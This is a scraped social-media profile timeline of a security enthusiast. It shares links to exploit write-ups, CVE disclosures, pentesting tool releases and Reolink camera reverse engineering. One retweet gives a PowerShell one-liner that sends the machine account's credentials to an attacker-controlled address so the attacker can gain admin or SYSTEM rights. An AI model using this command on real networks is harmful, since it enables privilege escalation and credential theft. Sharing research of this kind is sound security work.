@raphajohnsec

Security Enthusiast | Bitschubser | Pentesting | Python | OSCP | RTO

 Gütersloh, Germany
Joined August 2020
  • Tweets118
  • Following433
  • Followers287
3Media
So MSRC first say that they cannot reproduce ,now say that no security boundary is crossed. Tested this on few different machines and it was successful on all of them. This is bug in GamingServices , non default service so impact is not high. github.com/Wh04m1001/GamingS…
13
108
5
398
98,918
Raphael retweeted
Mayfly@M4yFly11 Jan 2024
Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ? Simply use: powershell iwr http://192.168.56.1 -UseDefaultCredentials To get an HTTP coerce of the machine account. 👇🧵
8
216
3
764
79,219
DLS 2024 - RedTeam Fails - "Oops my bad I ruined the operation", a story on how to fail a red team assessment 🦖 swisskyrepo.github.io/Drink-…
99
4
251
30,264
Thank you @codewhitesec for the interesting challenges and the great swag pack 😎 #Maultaschenfabrikle
1
10
777
Great article from George Hilliard about a Reolink camera and the proprietary Baichun protocol he reverse engineered Hint: /mnt/app/dvr thirtythreeforty.net/posts/2…
2
1
123
It's Baichuan protocol, not Baichun #ReolinkReverseEngineered
63
This resulted in the great Neolink software producing real RTSP streams for Reolink cameras that come without this feature github.com/thirtythreeforty/… And here the more active fork github.com/QuantumEntangledA…

GitHub - thirtythreeforty/neolink: An RTSP bridge to Reolink IP cameras

An RTSP bridge to Reolink IP cameras. Contribute to thirtythreeforty/neolink development by creating an account on GitHub.

github.com
65
Unpack your Reolink cameras firmware made easy github.com/vmallet/pakler A great way to start reverse engineer the included software until Reolink complies with the GPL.

GitHub - vmallet/pakler: Tool to manipulate PAK firmware files for Swann and Reolink devices

Tool to manipulate PAK firmware files for Swann and Reolink devices - vmallet/pakler

github.com
1
1
134
And here is a great collection of Reolink firmwares github.com/AT0myks/reolink-f…

GitHub - AT0myks/reolink-fw-archive: History of official firmwares for Reolink devices.

History of official firmwares for Reolink devices. - AT0myks/reolink-fw-archive

github.com
44
Hi @ReolinkTech, please send me the source code for the Lumus, C1-Pro and C2-Pro cameras that I own. You use GPL licensed software in your products which requires you to provide the source code upon request. Many thanks.
1
45
Awesome writeup
hypr@hyprdude20 Jun 2023
part 2 of my latest blog post covering the heap overflow I found in MiniDLNA (CVE-2023-33476) is up! this one focuses on the exploit dev process used to get remote code execution and pop a shell. exploits included :D blog.coffinsec.com/0day/2023…

chonked pt.2: exploiting cve-2023-33476 for remote code execution

second part in a two-part series going over heap overflow in MiniDLNA (CVE-2023-33476). this post provides a walkthrough of steps taken to write an exploit for this vulnerability in order to achieve...

blog.coffinsec.com
3
234
A new version of pywerview has been released! The tool can now work against DC with Channel Binding and LDAP Signing. s/o @rouge_cravate github.com/the-useless-one/p… 🌻
pywerview v0.5.1 changelog

ALT pywerview v0.5.1 changelog

37
84
14,355
Raphael retweeted
HackGit@hack_git14 Jun 2023
Traitor Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock github.com/liamg/traitor #infosec #pentesting #redteam
4
99
1
325
76,635
Official confirmation from Microsoft that there is no supported way to rotate nor change DPAPI backup keys! Compromised keys? ➡️ Burn the domain and rebuild a new one 💥
This Post is from an account that no longer exists. Learn more
7
85
7
257
70,080
Computer Account Relaying Vulnerabilities Part 1 praetorian.com/blog/active-d… Part 2 praetorian.com/blog/computer…

Active Directory Computer Account SMB Relaying Attack

This article outlines a unique Active Directory attack vector that arises when a computer account has administrative access to another computer.

praetorian.com
30
85
16,758
wifite2 v2.7.0 released. Supports newest, rewritten hcxdumptool, cOWPatty is working again and allows airodump-ng to exit (running in bg mode). Enjoy 🙂 github.com/kimocoder/wifite2…

Releases · kimocoder/wifite2

Rewrite of the popular wireless network auditor, "wifite" - original by @derv82 - kimocoder/wifite2

github.com
5
47
2
220
30,852
#Fortinet published a patch for CVE-2023-27997, the Remote Code Execution vulnerability @DDXhunter and I reported. This is reachable pre-authentication, on every SSL VPN appliance. Patch your #Fortigate. Details at a later time. #xortigate
25
284
37
685
371,383
Patch Diffing Progress MOVEIt Transfer RCE (CVE-2023-34362) - @assetnote - blog.assetnote.io/2023/06/07…

Patch Diffing Progress MOVEIt Transfer RCE (CVE-2023-34362)

Patch diffing analysis of the MOVEit Transfer SQL injection RCE (CVE-2023-34362) and development of a high-fidelity platform detection.

slcyber.io
3
8
2,255
The critical #Fortinet #CVE-2022-42475 has made quite a buzz, and we’ve documented how you can create an #exploit targeting a single specific FortiGate appliance running a single specific version of FortiOS. bfx.social/3C3gdg8

A More Complete Exploit for Fortinet CVE-2022-42475

Learn about our unique research focused on CVE-2022-42475 and how an exploit can be built to target a single specific FortiGate appliance.

bishopfox.com
1
39
2
75
18,396
3-hour workshop on XML External Entities (XXE) exploitation! - by @h3xstream gosecure.github.io/xxe-works…
50
117
16,270
Load more